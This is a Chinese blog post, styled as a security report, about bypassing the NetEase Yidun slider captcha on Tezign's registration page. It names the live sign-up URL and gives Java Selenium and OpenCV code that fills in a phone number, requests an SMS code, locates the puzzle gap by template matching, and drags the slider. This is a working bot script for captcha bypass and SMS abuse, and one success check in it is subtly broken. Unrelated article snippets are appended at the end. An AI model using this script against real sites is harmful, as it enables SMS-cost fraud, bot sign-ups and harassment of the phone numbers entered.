【特赞-注册安全分析报告】

devtools/2024/10/18 22:35:05/

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 特赞 PC端注册入口

简介:特赞Tezign 的使命是用科技赋能商业和社会的想象力。正如特赞的名字所希望的:Tezign(特赞) = Tech(科技创新)+ Design(内容创意)。自2015年开始创业以来,我们始终专注于技术与创意的融合,致力于搭建创意内容的数字新基建。围绕企业内容工作流,特赞打造了连接企业内外内容生产、内容管理、内容应用的数字化平台,助力品牌以内容驱动增长。特赞已服务8000+企业,成功帮助阿里巴巴、字节跳动、联合利华、资生堂、拜耳、百威、蚂蚁金服、 平安集团、雀巢、腾讯、欧莱雅等200+ 家中大型企业搭建内容中台,升级内容战略。

在这里插入图片描述

在这里插入图片描述

二、 安全性分析报告:

采用网易的滑动行为验证方式,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法:

前端界面分析为网易易盾的滑动验证码, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

  1. 模拟器交互部分

private NetEasyClient netEasy = new NetEasyClient("Tezign");private final String INDEX_URL = "https://id.tezign.com/regist?app_id=tz_designer";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);// 输入手机号Thread.sleep(1000);WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='手机']"));phoneElemet.sendKeys(phone);Thread.sleep(1000);// 获取验证码WebElement getCodeElement = driver.findElement(By.xpath("//button[contains(text(),'发送验证码')]"));getCodeElement.click();Thread.sleep(1000);netEasy.moveExec(driver, 220.0 / 320.0);Thread.sleep(1000);WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[contains(text(),'s')]"), 1);String info = (infoElement != null) ? infoElement.getText() : null;retEntity.setMsg(info);if (info != null && info.contains("s")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}

2. 距离识别


/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/public String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}
  1. 轨道生成及移动算法

public boolean moveExec(WebDriver driver) {// 获取滑动按钮try {WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);if (moveElemet == null) {return false;} else {Actions actions = new Actions(driver);actions.clickAndHold(moveElemet).perform();}Thread.sleep(1000);// 获取带阴影的背景图WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);String bUrl = bg.getAttribute("src");if (bUrl == null) {System.out.println("bUrl=" + bUrl);return false;}// 获取小图WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);String sUrl = s.getAttribute("src");if (sUrl == null) {System.out.println("sUrl=" + sUrl);return false;}Map<String, String> outMap = getMoveDistance(bUrl, sUrl);String openWidth = outMap != null ? outMap.get("width") : null;String openDistance = outMap != null ? outMap.get("distance") : null;// 计算匹配到的位置int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);if (distance == 0) {System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);return false;}moveElemet.click();// 滑动ActionMove.move(driver, moveElemet, distance);String moveStr = null;WebElement yidunElement;for (int i = 0; i <= 40; i++) {yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;if (moveStr != null && moveStr.contains("yidun--success")) {System.out.println("succ distance=" + distance);driver.findElement(By.id("nickname")).click();Thread.sleep(500);driver.findElements(By.className("sms-code")).get(1).click();Thread.sleep(500);break;}System.out.print(".");Thread.sleep(50);}return true;} catch (Exception e) {return false;}}
  1. OpenCv 轮廓匹配测试样例:
    在这里插入图片描述

四丶结语

特赞Tezign 的使命是用科技赋能商业和社会的想象力。正如特赞的名字所希望的:Tezign(特赞) = Tech(科技创新)+ Design(内容创意)。自2015年开始创业以来,我们始终专注于技术与创意的融合,致力于搭建创意内容的数字新基建。围绕企业内容工作流,特赞打造了连接企业内外内容生产、内容管理、内容应用的数字化平台,助力品牌以内容驱动增长。特赞已服务8000+企业,成功帮助阿里巴巴、字节跳动、联合利华、资生堂、拜耳、百威、蚂蚁金服、 平安集团、雀巢、腾讯、欧莱雅等200+ 家中大型企业搭建内容中台,升级内容战略。 从测试来看,该网站基本采用用户比较友好的滑动验证方式, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》


http://www.ppmy.cn/devtools/124630.html

相关文章

[Notes] 3DGS Features Summary

1. Opacity α \alpha α Role: Opacity controls the contribution of each point or splat to the final rendered image. In 3DGS, each point is treated as a Gaussian blob, and its opacity determines how “transparent” or “solid” that blob appears when com…

【H2O2|全栈】关于CSS(11)flex——更加优雅的布局

目录 CSS3入门 前言 准备工作 布局优化 如何使用flex布局 容器与成员 概念 轴线 容器的属性 成员的属性 预告和回顾 后话 CSS3入门 前言 本系列博客主要介绍CSS有关知识点&#xff0c;当前章节讲述CSS3相关内容。 本章节讲述flex布局的相关知识。 部分内容仅代…

XUbuntu安装OpenSSH远程连接服务器

目录 打开终端。更新你的包索引安装OpenSSH服务器。在终端中输入以下命令&#xff1a;安装完成后&#xff0c;OpenSSH服务器会自动启动。查看主机 IP测试连接打开 cmd 终端SSH 连接虚拟机确认连接输入连接密码发现问题修改用户&#xff0c;尝试连接 打开终端。 更新你的包索引 …

【EXCEL数据处理】000014 案例 EXCEL分类汇总、定位和创建组。附多个操作案例。

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 【EXCEL数据处理】000014 案例 EXCEL分类汇总、定位和创建组。附多个操…

Python 网络爬虫高阶用法

网络爬虫成为了自动化数据抓取的核心工具。Python 拥有强大的第三方库支持&#xff0c;在网络爬虫领域的应用尤为广泛。本文将深入探讨 Python 网络爬虫的高阶用法&#xff0c;包括处理反爬虫机制、动态网页抓取、分布式爬虫以及并发和异步爬虫等技术。以下内容结合最新技术发展…

物联网中的远距离通信LoRa无线技术

LoRa&#xff08;Long Range Radio&#xff09;远距离无线传输技术是基于扩频调制技术的低功耗、远距离无线通信技术&#xff0c;采用扩频调制&#xff0c;通过将原始信号与一个伪随机序列进行编码&#xff0c;使得信号的带宽显著增加&#xff0c;从而在更宽的频谱上传输。这种…

【Linux】段错误(核心已转储)

原因:linux在安装docker 安装完之后再添加用户就报错了。。。。 各种查原因: 内存问题:系统可能存在内存损坏或不足的问题。磁盘空间不足:系统分区可能没有足够的空间来创建新用户。文件系统错误:文件系统可能存在错误。SELinux或AppArmor:安全模块可能阻止了 useradd 命…

Python的numpy库的基本使用(数据分析)

一、安装和导入 1、安装 使用包管理器安装 pip3 install numpy 2、导入 import numpy 二、使用numpy创建数组 1、array import numpy as npd1np.array([[1,2,3],[4,5,6]]) print(type(d1)) import导入numpy包并用as语法起了一个别名np。使用np打点调用array方法创建了一…